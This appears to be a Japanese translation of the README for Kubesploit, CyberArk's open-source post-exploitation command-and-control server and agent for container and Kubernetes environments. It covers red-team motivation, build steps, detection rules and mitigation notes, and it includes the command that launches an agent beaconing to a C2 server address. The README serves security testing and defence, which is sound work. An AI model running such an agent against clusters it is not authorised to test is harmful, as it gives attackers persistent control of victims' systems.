
Kubesploitは、Golangで書かれたクロスプラットフォームのポストエクスプロイテーションHTTP/2コマンド&コントロールサーバーおよびエージェントであり、コンテナ環境に焦点を当てています。
Kubesploitは、Golangで書かれ、Merlinプロジェクト(作者 Russel Van Tuyl (@Ne0nd0g))をベースに構築された、コンテナ環境向けのクロスプラットフォームなポストエクスプロイテーションHTTP/2 Command & Controlサーバーおよびエージェントです。
Docker と Kubernetes を調査する中で、現在利用可能なツールのほとんどがクラスターの脆弱性を受動的にスキャンすることに焦点を当てており、より複雑な攻撃ベクトルのカバレッジが不足していることに気づきました。 これらのツールは問題を見つけることはできても、それを悪用することはできません。実際の攻撃をシミュレートするためにエクスプロイトを実行することは重要であり、それによってネットワーク全体の企業の回復力を判断することができます。 エクスプロイトを実行すると、組織のサイバーイベント管理の実践が行われますが、クラスターの問題をスキャンするだけではそれは起こりません。 これにより、実際の攻撃が発生した際の運用方法を学び、他の検出システムが期待通りに機能しているかどうか、どのような変更が必要かを確認できます。 これらの要件を満たす攻撃ツールを作成したいと考えました。
しかし、このようなツールを作成する別の理由もありました。すでにKubernetes関連のオープンソースツールを2つ(KubiScan と kubeletctl)持っており、さらに追加のアイデアがありました。それぞれに対して個別のプロジェクトを作成する代わりに、新しいツールを統合する新しいツールを作成する方が良いと考え、そこでKubesploitが生まれました。
クロスプラットフォームシステムの重い作業を提供するオープンソースを探したところ、Russel Van Tuyl (@Ne0nd0g) が作成した Merlin が適していることがわかりました。
私たちの主な目標は、コンテナ環境のセキュリティに対する認識を高め、さまざまなネットワークに実装された緩和策を改善することに貢献することです。これらすべては、これらの環境での活動中にPTチームやレッドチーマーに適切なツールを提供するフレームワークを通じて実現されます。これらのツールを使用することで、これらの環境の強みを評価し、保護するために必要な変更を加えることができます。
C&Cとエージェントのインフラストラクチャは既にMerlinで実現されていたため、サーバーからエージェントへGolangコードを実行できるように、Goインタプリタ("Yaegi")を統合しました。これにより、モジュールをGolangで記述し、モジュールに柔軟性を持たせ、新しいモジュールを動的にロードできるようになりました。これは進行中のプロジェクトであり、今後DockerやKubernetesに関連するモジュールをさらに追加する予定です。
現在利用可能なモジュールは以下の通りです。
モジュールの詳細については、WiKiページを参照してください
Kubesploitを試すために、専用のKillerCoda上のKubernetes環境を作成しました。これは、Kubesploitの使用方法に関する完全な自動化された手順を備えた完全なシミュレーションです。ぜひ探索してみてください。
サーバーを実行:
./kubesploitServer
エージェントを実行:
./agent -url https://<server_ip>:443 &

このプロジェクトをビルドするには、ルートフォルダから make コマンドを実行してください。
注意: 現時点では、traefik/yaegi v0.14.3 のGo言語要件に基づき、Golang 1.18 または Go 1.19(最新の2つのメジャーリリース)を使用する必要があります。
Linux向けのクイックビルドを実行するには、以下を実行します:
export PATH=$PATH:/usr/local/go/bin
go build -o agent cmd/merlinagent/main.go
go build -o server cmd/merlinserver/main.go
コンテナを使用して サーバー を実行するには、Kubesploit サーバーが 0.0.0.0 インターフェース(127.0.0.1 ではない)でリッスンするように設定する必要があります。config.yaml 内のインターフェースフィールドを更新できます。
補足: ホストとコンテナ間のポートバインドを確認してください(デフォルトポートは
443で、config.yaml でも設定可能です)
Kubesploitバイナリを検出するのに役立つYARAルールを作成しました。ルールは kubesploit.yara ファイルに記述されています。
エージェントにロードされたすべてのGoモジュールは、被害マシン内に記録されます。
Kubesploitが使用する攻撃ベクトルのMITREマップを作成しました。
作成したすべてのモジュールについて、その説明と防御方法を記載しました。概要は MITIGATION.md ファイルにまとめています。
このリポジトリへのあらゆる種類のコントリビューションを歓迎します。 開始方法と開発ワークフローの説明については、コントリビューションガイドを参照してください。
Kubesploit を構築するための基盤となるオープンソース Merlin を作成してくれた Russel Van Tuyl (@Ne0nd0g) に感謝します。 また、リモートエージェントで Golang モジュールを簡単に実行できるようにする Goインタプリタ("Yaegi") を作成してくれた Traefik Labs (@traefik) にも感謝します。
Copyright (c) 2021 CyberArk Software Ltd. All rights reserved.
このリポジトリは GPL-3.0 ライセンスの下で提供されています。
完全なライセンステキストについては LICENSE を参照してください。
コメント、提案、質問などがある場合は、 CyberArk Labs の Eviatar Gerzi (@g3rzi) に連絡するか、Issue を開いてください。 当社が開発した他のプロジェクトは https://github.com/cyberark/ でご覧いただけます。